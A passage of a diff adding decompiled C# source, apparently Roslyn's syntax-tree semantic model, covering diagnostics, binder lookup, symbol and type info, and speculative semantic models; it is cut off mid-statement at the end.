{ + VerifySpanForGetDiagnostics(span); + return Compilation.GetDiagnosticsForSyntaxTree((CompilationStage)2, SyntaxTree, span, includeEarlierStages: false, cancellationToken); + } + + public override ImmutableArray GetDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + VerifySpanForGetDiagnostics(span); + return Compilation.GetDiagnosticsForSyntaxTree((CompilationStage)2, SyntaxTree, span, includeEarlierStages: true, cancellationToken); + } + + internal override Binder GetEnclosingBinderInternal(int position) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = Root.FindTokenIncludingCrefAndNameAttributes(position); + if (position == 0 && position != ((SyntaxToken)(ref val)).SpanStart) + { + return _binderFactory.GetBinder((SyntaxNode)(object)Root, position).WithAdditionalFlags(GetSemanticModelBinderFlags()); + } + MemberSemanticModel memberModel = GetMemberModel(position); + if (memberModel != null) + { + return memberModel.GetEnclosingBinder(position); + } + return _binderFactory.GetBinder((SyntaxNode)(object)(CSharpSyntaxNode)(object)((SyntaxToken)(ref val)).Parent, position).WithAdditionalFlags(GetSemanticModelBinderFlags()); + } + + internal override IOperation GetOperationWorker(CSharpSyntaxNode node, CancellationToken cancellationToken) + { + return ((node is ConstructorDeclarationSyntax constructorDeclarationSyntax) ? ((constructorDeclarationSyntax.HasAnyBody() || constructorDeclarationSyntax.Initializer != null) ? GetOrAddModel(node) : null) : ((node is BaseMethodDeclarationSyntax declaration) ? (declaration.HasAnyBody() ? GetOrAddModel(node) : null) : ((node is AccessorDeclarationSyntax accessorDeclarationSyntax) ? ((accessorDeclarationSyntax.Body != null || accessorDeclarationSyntax.ExpressionBody != null) ? GetOrAddModel(node) : null) : ((!(node is TypeDeclarationSyntax { ParameterList: not null, PrimaryConstructorBaseTypeIfClass: not null } typeDeclarationSyntax) || (object)TryGetSynthesizedPrimaryConstructor(typeDeclarationSyntax) == null) ? GetMemberModel((SyntaxNode)(object)node) : GetOrAddModel(typeDeclarationSyntax)))))?.GetOperationWorker(node, cancellationToken); + } + + internal override SymbolInfo GetSymbolInfoWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_01bb: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0190: Unknown result type (might be due to invalid IL or missing references) + //IL_0195: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_01b5: Unknown result type (might be due to invalid IL or missing references) + //IL_01ab: Unknown result type (might be due to invalid IL or missing references) + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_01ba: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_016a: Unknown result type (might be due to invalid IL or missing references) + //IL_016f: Unknown result type (might be due to invalid IL or missing references) + CSharpSemanticModel.ValidateSymbolInfoOptions(options); + node = SyntaxFactory.GetStandaloneNode(node); + MemberSemanticModel memberModel = GetMemberModel((SyntaxNode)(object)node); + SymbolInfo result; + XmlNameAttributeSyntax syntax; + if (memberModel != null) + { + result = memberModel.GetSymbolInfoWorker(node, options, cancellationToken); + if (((SymbolInfo)(ref result)).Symbol == null && (int)((SymbolInfo)(ref result)).CandidateReason == 0 && node is ExpressionSyntax && SyntaxFacts.IsInNamespaceOrTypeContext((ExpressionSyntax)node)) + { + Binder enclosingBinder = GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)node)); + if (enclosingBinder != null) + { + enclosingBinder = new LocalScopeBinder(enclosingBinder); + BoundExpression boundExpression = enclosingBinder.BindExpression((ExpressionSyntax)node, BindingDiagnosticBag.Discarded); + SymbolInfo symbolInfoForNode = GetSymbolInfoForNode(options, boundExpression, boundExpression, null, null); + if (((SymbolInfo)(ref symbolInfoForNode)).Symbol != null) + { + ((SymbolInfo)(ref result))._002Ector(ImmutableArray.Create(((SymbolInfo)(ref symbolInfoForNode)).Symbol), (CandidateReason)1); + } + else if (!((SymbolInfo)(ref symbolInfoForNode)).CandidateSymbols.IsEmpty) + { + ((SymbolInfo)(ref result))._002Ector(((SymbolInfo)(ref symbolInfoForNode)).CandidateSymbols, (CandidateReason)1); + } + } + } + } + else if (node.Parent.Kind() == SyntaxKind.XmlNameAttribute && (syntax = (XmlNameAttributeSyntax)node.Parent).Identifier == node) + { + result = SymbolInfo.None; + Binder enclosingBinder2 = GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)node)); + if (enclosingBinder2 != null) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + ImmutableArray symbols = enclosingBinder2.BindXmlNameAttribute(syntax, ref useSiteInfo); + result = (SymbolInfo)(symbols.Length switch + { + 0 => SymbolInfo.None, + 1 => SymbolInfoFactory.Create(symbols, LookupResultKind.Viable, isDynamic: false), + _ => SymbolInfoFactory.Create(symbols, LookupResultKind.Ambiguous, isDynamic: false), + }); + } + } + else if (node is CrefSyntax crefSyntax) + { + int adjustedNodePosition = GetAdjustedNodePosition((SyntaxNode)(object)crefSyntax); + result = GetCrefSymbolInfo(adjustedNodePosition, crefSyntax, options, CSharpSemanticModel.HasParameterList(crefSyntax)); + } + else + { + Symbol semanticInfoSymbolInNonMemberContext = GetSemanticInfoSymbolInNonMemberContext(node, (options & SymbolInfoOptions.PreserveAliases) != 0); + result = (((object)semanticInfoSymbolInNonMemberContext != null) ? CSharpSemanticModel.GetSymbolInfoForSymbol(semanticInfoSymbolInNonMemberContext, options) : SymbolInfo.None); + } + return result; + } + + internal override SymbolInfo GetCollectionInitializerSymbolInfoWorker(InitializerExpressionSyntax collectionInitializer, ExpressionSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return GetMemberModel((SyntaxNode)(object)collectionInitializer)?.GetCollectionInitializerSymbolInfoWorker(collectionInitializer, node, cancellationToken) ?? SymbolInfo.None; + } + + internal override CSharpTypeInfo GetTypeInfoWorker(CSharpSyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + node = SyntaxFactory.GetStandaloneNode(node); + MemberSemanticModel memberModel = GetMemberModel((SyntaxNode)(object)node); + if (memberModel != null) + { + return memberModel.GetTypeInfoWorker(node, cancellationToken); + } + Symbol semanticInfoSymbolInNonMemberContext = GetSemanticInfoSymbolInNonMemberContext(node, bindVarAsAliasFirst: false); + if ((object)semanticInfoSymbolInNonMemberContext == null) + { + return CSharpTypeInfo.None; + } + return CSharpSemanticModel.GetTypeInfoForSymbol(semanticInfoSymbolInNonMemberContext); + } + + private Symbol GetSemanticInfoSymbolInNonMemberContext(CSharpSyntaxNode node, bool bindVarAsAliasFirst) + { + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Invalid comparison between Unknown and I4 + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + Binder enclosingBinder = GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)node)); + if (enclosingBinder != null && node is TypeSyntax typeSyntax) + { + ConsList basesBeingResolved = GetBasesBeingResolved(typeSyntax); + if (SyntaxFacts.IsNamespaceAliasQualifier(typeSyntax)) + { + return enclosingBinder.BindNamespaceAliasSymbol(node as IdentifierNameSyntax, BindingDiagnosticBag.Discarded); + } + if (SyntaxFacts.IsInTypeOnlyContext(typeSyntax)) + { + if (!typeSyntax.IsVar) + { + return enclosingBinder.BindTypeOrAlias(typeSyntax, BindingDiagnosticBag.Discarded, basesBeingResolved).Symbol; + } + Symbol symbol = (bindVarAsAliasFirst ? enclosingBinder.BindTypeOrAlias(typeSyntax, BindingDiagnosticBag.Discarded, basesBeingResolved).Symbol : null); + if (((object)symbol == null || (int)symbol.Kind == 4) && ((SyntaxNode)(object)typeSyntax).ModifyingScopedOrRefTypeOrSelf().Parent is VariableDeclarationSyntax variableDeclarationSyntax && variableDeclarationSyntax.Variables.Any()) + { + FieldSymbol declaredFieldSymbol = GetDeclaredFieldSymbol(variableDeclarationSyntax.Variables.First()); + if ((object)declaredFieldSymbol != null) + { + symbol = declaredFieldSymbol.Type; + } + } + return symbol ?? enclosingBinder.BindTypeOrAlias(typeSyntax, BindingDiagnosticBag.Discarded, basesBeingResolved).Symbol; + } + return enclosingBinder.BindNamespaceOrTypeOrAliasSymbol(typeSyntax, BindingDiagnosticBag.Discarded, basesBeingResolved, basesBeingResolved != null).Symbol; + } + return null; + } + + internal override ImmutableArray GetMemberGroupWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + node = SyntaxFactory.GetStandaloneNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetMemberGroupWorker(node, options, cancellationToken) ?? ImmutableArray.Empty; + } + + internal override ImmutableArray GetIndexerGroupWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + node = SyntaxFactory.GetStandaloneNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetIndexerGroupWorker(node, options, cancellationToken) ?? ImmutableArray.Empty; + } + + internal override Optional GetConstantValueWorker(CSharpSyntaxNode node, CancellationToken cancellationToken) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + node = SyntaxFactory.GetStandaloneNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetConstantValueWorker(node, cancellationToken) ?? default(Optional); + } + + public override QueryClauseInfo GetQueryClauseInfo(QueryClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetQueryClauseInfo(node, cancellationToken) ?? default(QueryClauseInfo); + } + + public override SymbolInfo GetSymbolInfo(SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetSymbolInfo(node, cancellationToken) ?? SymbolInfo.None; + } + + public override TypeInfo GetTypeInfo(SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetTypeInfo(node, cancellationToken) ?? ((TypeInfo)CSharpTypeInfo.None); + } + + public override IPropertySymbol GetDeclaredSymbol(AnonymousObjectMemberDeclaratorSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declaratorSyntax); + return GetMemberModel((SyntaxNode)(object)declaratorSyntax)?.GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public override INamedTypeSymbol GetDeclaredSymbol(AnonymousObjectCreationExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declaratorSyntax); + return GetMemberModel((SyntaxNode)(object)declaratorSyntax)?.GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public override INamedTypeSymbol GetDeclaredSymbol(TupleExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declaratorSyntax); + return GetMemberModel((SyntaxNode)(object)declaratorSyntax)?.GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public override ISymbol GetDeclaredSymbol(ArgumentSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declaratorSyntax); + return GetMemberModel((SyntaxNode)(object)declaratorSyntax)?.GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public override IRangeVariableSymbol GetDeclaredSymbol(QueryClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetDeclaredSymbol(node, cancellationToken); + } + + public override IRangeVariableSymbol GetDeclaredSymbol(JoinIntoClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetDeclaredSymbol(node, cancellationToken); + } + + public override IRangeVariableSymbol GetDeclaredSymbol(QueryContinuationSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetDeclaredSymbol(node, cancellationToken); + } + + public override SymbolInfo GetSymbolInfo(OrderingSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(node); + return GetMemberModel((SyntaxNode)(object)node)?.GetSymbolInfo(node, cancellationToken) ?? SymbolInfo.None; + } + + private ConsList GetBasesBeingResolved(TypeSyntax expression) + { + while (expression != null && expression.Parent != null) + { + CSharpSyntaxNode parent = expression.Parent; + if (parent is BaseTypeSyntax baseTypeSyntax && parent.Parent != null && parent.Parent.Kind() == SyntaxKind.BaseList && baseTypeSyntax.Type == expression) + { + BaseTypeDeclarationSyntax declarationSyntax = (BaseTypeDeclarationSyntax)parent.Parent.Parent; + INamedTypeSymbol declaredSymbol = GetDeclaredSymbol(declarationSyntax); + return ConsListExtensions.Prepend(ConsList.Empty, (TypeSymbol)declaredSymbol.GetSymbol().OriginalDefinition); + } + expression = expression.Parent as TypeSyntax; + } + return null; + } + + public override Conversion ClassifyConversion(ExpressionSyntax expression, ITypeSymbol destination, bool isExplicitInSource = false) + { + TypeSymbol destination2 = destination.EnsureCSharpSymbolOrNull("destination"); + if (expression.Kind() == SyntaxKind.DeclarationExpression) + { + return Conversion.NoConversion; + } + if (isExplicitInSource) + { + return ClassifyConversionForCast(expression, destination2); + } + CheckSyntaxNode(expression); + if (destination == null) + { + throw new ArgumentNullException("destination"); + } + return GetMemberModel((SyntaxNode)(object)expression)?.ClassifyConversion(expression, destination) ?? Conversion.NoConversion; + } + + internal override Conversion ClassifyConversionForCast(ExpressionSyntax expression, TypeSymbol destination) + { + CheckSyntaxNode(expression); + if ((object)destination == null) + { + throw new ArgumentNullException("destination"); + } + return GetMemberModel((SyntaxNode)(object)expression)?.ClassifyConversionForCast(expression, destination) ?? Conversion.NoConversion; + } + + internal sealed override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, TypeSyntax type, SpeculativeBindingOption bindingOption, out PublicSemanticModel speculativeModel) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + position = CheckAndAdjustPosition(position); + MemberSemanticModel memberModel = GetMemberModel(position); + if (memberModel != null) + { + return memberModel.TryGetSpeculativeSemanticModelCore(parentModel, position, type, bindingOption, out speculativeModel); + } + Binder speculativeBinder = GetSpeculativeBinder(position, type, bindingOption); + if (speculativeBinder != null) + { + speculativeModel = SpeculativeSyntaxTreeSemanticModel.Create(parentModel, type, speculativeBinder, position, bindingOption); + return true; + } + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, CrefSyntax crefSyntax, out PublicSemanticModel speculativeModel) + { + position = CheckAndAdjustPosition(position); + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder != null && enclosingBinder.InCref) + { + speculativeModel = SpeculativeSyntaxTreeSemanticModel.Create(parentModel, crefSyntax, enclosingBinder, position); + return true; + } + speculativeModel = null; + return false; + } + + internal sealed override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, StatementSyntax statement, out PublicSemanticModel speculativeModel) + { + position = CheckAndAdjustPosition(position); + MemberSemanticModel memberModel = GetMemberModel(position); + if (memberModel != null) + { + return memberModel.TryGetSpeculativeSemanticModelCore(parentModel, position, statement, out speculativeModel); + } + speculativeModel = null; + return false; + } + + internal sealed override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, BaseMethodDeclarationSyntax method, out PublicSemanticModel speculativeModel) + { + position = CheckAndAdjustPosition(position); + MemberSemanticModel memberModel = GetMemberModel(position); + if (memberModel != null) + { + return memberModel.TryGetSpeculativeSemanticModelForMethodBodyCore(parentModel, position, method, out speculativeModel); + } + speculativeModel = null; + return false; + } + + internal sealed override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, AccessorDeclarationSyntax accessor, out PublicSemanticModel speculativeModel) + { + position = CheckAndAdjustPosition(position); + MemberSemanticModel memberModel = GetMemberModel(position); + if (memberModel != null) + { + return memberModel.TryGetSpeculativeSemanticModelForMethodBodyCore(parentModel, position, accessor, out speculativeModel); + } + speculativeModel = null; + return false; + } + + internal sealed override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, EqualsValueClauseSyntax initializer, out PublicSemanticModel speculativeModel) + { + position = CheckAndAdjustPosition(position); + MemberSemanticModel memberModel = GetMemberModel(position); + if (memberModel != null) + { + return memberModel.TryGetSpeculativeSemanticModelCore(parentModel, position, initializer, out speculativeModel); + } + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ArrowExpressionClauseSyntax expressionBody, out PublicSemanticModel speculativeModel) + { + position = CheckAndAdjustPosition(position); + MemberSemanticModel memberModel = GetMemberModel(position); + if (memberModel != null) + { + return memberModel.TryGetSpeculativeSemanticModelCore(parentModel, position, expressionBody, out speculativeModel); + } + speculativeModel = null; + return false; + } + + internal sealed override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ConstructorInitializerSyntax constructorInitializer, out PublicSemanticModel speculativeModel) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + position = CheckAndAdjustPosition(position); + SyntaxToken val = Root.FindToken(position); + if (((SyntaxToken)(ref val)).Parent.AncestorsAndSelf(true).OfType().FirstOrDefault() != null) + { + MemberSemanticModel memberModel = GetMemberModel(position); + if (memberModel != null) + { + return memberModel.TryGetSpeculativeSemanticModelCore(parentModel, position, constructorInitializer, out speculativeModel); + } + } + speculativeModel = null; + return false; + } + + internal sealed override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, PrimaryConstructorBaseTypeSyntax constructorInitializer, out PublicSemanticModel speculativeModel) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + position = CheckAndAdjustPosition(position); + SyntaxToken val = Root.FindToken(position); + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax = ((SyntaxToken)(ref val)).Parent.AncestorsAndSelf(true).OfType().FirstOrDefault(); + if (primaryConstructorBaseTypeSyntax != null) + { + MemberSemanticModel memberModel = GetMemberModel((SyntaxNode)(object)primaryConstructorBaseTypeSyntax); + if (memberModel != null) + { + return memberModel.TryGetSpeculativeSemanticModelCore(parentModel, position, constructorInitializer, out speculativeModel); + } + } + speculativeModel = null; + return false; + } + + internal override BoundExpression GetSpeculativelyBoundExpression(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption, out Binder binder, out ImmutableArray crefSymbols) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if ((int)bindingOption == 0) + { + position = CheckAndAdjustPosition(position); + MemberSemanticModel memberModel = GetMemberModel(position); + if (memberModel != null) + { + return memberModel.GetSpeculativelyBoundExpression(position, expression, bindingOption, out binder, out crefSymbols); + } + } + return GetSpeculativelyBoundExpressionWithoutNullability(position, expression, bindingOption, out binder, out crefSymbols); + } + + internal PublicSemanticModel CreateSpeculativeAttributeSemanticModel(int position, AttributeSyntax attribute, Binder binder, AliasSymbol aliasOpt, NamedTypeSymbol attributeType) + { + return AttributeSemanticModel.CreateSpeculative(this, attribute, attributeType, aliasOpt, binder, (IsNullableAnalysisEnabledAtSpeculativePosition(position, (SyntaxNode)(object)attribute) ? GetMemberModel(position) : null)?.GetRemappedSymbols(), position); + } + + internal bool IsNullableAnalysisEnabledAtSpeculativePosition(int position, SyntaxNode speculativeSyntax) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return ((CSharpSyntaxTree)(object)speculativeSyntax.SyntaxTree).IsNullableAnalysisEnabled(speculativeSyntax.Span) ?? Compilation.IsNullableAnalysisEnabledIn((CSharpSyntaxTree)(object)SyntaxTree, new TextSpan(position, 0)); + } + + private MemberSemanticModel GetMemberModel(int position) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = Root.FindTokenIncludingCrefAndNameAttributes(position); + CSharpSyntaxNode node = (CSharpSyntaxNode)(object)((SyntaxToken)(ref val)).Parent; + CSharpSyntaxNode memberDeclaration = GetMemberDeclaration((SyntaxNode)(object)node); + bool flag = false; + if (memberDeclaration != null) + { + switch (memberDeclaration.Kind()) + { + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.AddAccessorDeclaration: + case SyntaxKind.RemoveAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + flag = !LookupPosition.IsInBody(position, (AccessorDeclarationSyntax)memberDeclaration); + break; + case SyntaxKind.ConstructorDeclaration: + { + ConstructorDeclarationSyntax constructorDeclarationSyntax = (ConstructorDeclarationSyntax)memberDeclaration; + flag = !LookupPosition.IsInConstructorParameterScope(position, constructorDeclarationSyntax) && !LookupPosition.IsInParameterList(position, constructorDeclarationSyntax); + break; + } + case SyntaxKind.ClassDeclaration: + case SyntaxKind.RecordDeclaration: + { + TypeDeclarationSyntax typeDeclarationSyntax = (TypeDeclarationSyntax)memberDeclaration; + if (typeDeclarationSyntax.ParameterList == null) + { + flag = true; + break; + } + ArgumentListSyntax argumentListSyntax = typeDeclarationSyntax.PrimaryConstructorBaseTypeIfClass?.ArgumentList; + flag = argumentListSyntax == null || !LookupPosition.IsBetweenTokens(position, argumentListSyntax.OpenParenToken, argumentListSyntax.CloseParenToken); + break; + } + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.DestructorDeclaration: + { + BaseMethodDeclarationSyntax baseMethodDeclarationSyntax = (BaseMethodDeclarationSyntax)memberDeclaration; + flag = !LookupPosition.IsInBody(position, baseMethodDeclarationSyntax) && !LookupPosition.IsInParameterList(position, baseMethodDeclarationSyntax); + break; + } + } + } + if (!flag) + { + return GetMemberModel((SyntaxNode)(object)node); + } + return null; + } + + internal override MemberSemanticModel GetMemberModel(SyntaxNode node) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_02c7: Unknown result type (might be due to invalid IL or missing references) + //IL_02cc: Unknown result type (might be due to invalid IL or missing references) + //IL_02d0: Unknown result type (might be due to invalid IL or missing references) + //IL_02d5: Unknown result type (might be due to invalid IL or missing references) + //IL_03ad: Unknown result type (might be due to invalid IL or missing references) + //IL_0322: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + //IL_016c: Unknown result type (might be due to invalid IL or missing references) + //IL_0171: Unknown result type (might be due to invalid IL or missing references) + //IL_0175: Unknown result type (might be due to invalid IL or missing references) + //IL_0339: Unknown result type (might be due to invalid IL or missing references) + //IL_02b5: Unknown result type (might be due to invalid IL or missing references) + //IL_026a: Unknown result type (might be due to invalid IL or missing references) + //IL_026f: Unknown result type (might be due to invalid IL or missing references) + //IL_0273: Unknown result type (might be due to invalid IL or missing references) + //IL_02ea: Unknown result type (might be due to invalid IL or missing references) + //IL_0219: Unknown result type (might be due to invalid IL or missing references) + //IL_021e: Unknown result type (might be due to invalid IL or missing references) + //IL_0222: Unknown result type (might be due to invalid IL or missing references) + //IL_034b: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Unknown result type (might be due to invalid IL or missing references) + //IL_0137: Unknown result type (might be due to invalid IL or missing references) + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_0188: Unknown result type (might be due to invalid IL or missing references) + //IL_018c: Unknown result type (might be due to invalid IL or missing references) + //IL_01e8: Unknown result type (might be due to invalid IL or missing references) + //IL_01ed: Unknown result type (might be due to invalid IL or missing references) + //IL_01f1: Unknown result type (might be due to invalid IL or missing references) + //IL_0289: Unknown result type (might be due to invalid IL or missing references) + //IL_028e: Unknown result type (might be due to invalid IL or missing references) + //IL_0292: Unknown result type (might be due to invalid IL or missing references) + //IL_01a2: Unknown result type (might be due to invalid IL or missing references) + //IL_01a7: Unknown result type (might be due to invalid IL or missing references) + //IL_01ab: Unknown result type (might be due to invalid IL or missing references) + //IL_0238: Unknown result type (might be due to invalid IL or missing references) + //IL_023d: Unknown result type (might be due to invalid IL or missing references) + //IL_0241: Unknown result type (might be due to invalid IL or missing references) + if (IsInDocumentationComment(node)) + { + return null; + } + CSharpSyntaxNode cSharpSyntaxNode = GetMemberDeclaration(node) ?? (node as CompilationUnitSyntax); + if (cSharpSyntaxNode != null) + { + TextSpan span = node.Span; + BaseMethodDeclarationSyntax baseMethodDeclarationSyntax; + TextSpan fullSpan; + ConstructorDeclarationSyntax constructorDeclarationSyntax; + DestructorDeclarationSyntax destructorDeclarationSyntax; + AccessorDeclarationSyntax accessorDeclarationSyntax; + switch (cSharpSyntaxNode.Kind()) + { + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + { + baseMethodDeclarationSyntax = (BaseMethodDeclarationSyntax)cSharpSyntaxNode; + ArrowExpressionClauseSyntax? expressionBodySyntax = baseMethodDeclarationSyntax.GetExpressionBodySyntax(); + if (expressionBodySyntax != null) + { + fullSpan = ((SyntaxNode)expressionBodySyntax).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_0145; + } + } + BlockSyntax? body2 = baseMethodDeclarationSyntax.Body; + if (body2 != null) + { + fullSpan = ((SyntaxNode)body2).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_0145; + } + } + return null; + } + case SyntaxKind.ConstructorDeclaration: + { + constructorDeclarationSyntax = (ConstructorDeclarationSyntax)cSharpSyntaxNode; + ArrowExpressionClauseSyntax expressionBodySyntax2 = constructorDeclarationSyntax.GetExpressionBodySyntax(); + ConstructorInitializerSyntax? initializer = constructorDeclarationSyntax.Initializer; + if (initializer != null) + { + fullSpan = ((SyntaxNode)initializer).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_01b5; + } + } + if (expressionBodySyntax2 != null) + { + fullSpan = ((SyntaxNode)expressionBodySyntax2).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_01b5; + } + } + BlockSyntax? body3 = constructorDeclarationSyntax.Body; + if (body3 != null) + { + fullSpan = ((SyntaxNode)body3).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_01b5; + } + } + return null; + } + case SyntaxKind.ClassDeclaration: + case SyntaxKind.RecordDeclaration: + { + TypeDeclarationSyntax typeDeclarationSyntax = (TypeDeclarationSyntax)cSharpSyntaxNode; + if (typeDeclarationSyntax.ParameterList != null) + { + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeIfClass = typeDeclarationSyntax.PrimaryConstructorBaseTypeIfClass; + if (primaryConstructorBaseTypeIfClass != null) + { + if ((object)node != primaryConstructorBaseTypeIfClass) + { + fullSpan = ((SyntaxNode)primaryConstructorBaseTypeIfClass.ArgumentList).FullSpan; + if (!((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_01f9; + } + } + return GetOrAddModel(cSharpSyntaxNode); + } + } + goto IL_01f9; + } + case SyntaxKind.DestructorDeclaration: + { + destructorDeclarationSyntax = (DestructorDeclarationSyntax)cSharpSyntaxNode; + ArrowExpressionClauseSyntax? expressionBodySyntax3 = destructorDeclarationSyntax.GetExpressionBodySyntax(); + if (expressionBodySyntax3 != null) + { + fullSpan = 